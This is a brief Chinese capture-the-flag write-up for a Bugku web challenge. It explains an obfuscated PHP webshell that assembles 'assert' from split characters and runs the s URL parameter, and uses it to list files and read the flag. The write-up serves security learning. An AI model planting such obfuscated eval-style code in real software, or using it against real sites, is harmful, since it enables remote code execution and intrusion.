Bugku Web 挑战:Shell 与成绩查询漏洞分析
题目信息

解题思路
访问页面后显示空白。
观察题目描述中的代码逻辑:
$poc="a#s#s#e#r#t"; // 定义一串字符串
$poc_1=explode("#",$poc); // explode() 按照 # 分割上面字符串,留下 ["a","s","s","e","r","t"]
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; // 拼接后 assert
$poc_2($_GET['s']) // assert($_GET['s'])
检测到 GET 请求,说明可以在 URL 中传递参数 s。

得到文件列表:

分别为 flaga15808abee46a1d5.txt 和 index.php。
直接查看 flaga15808abee46a1d5.txt 即可。



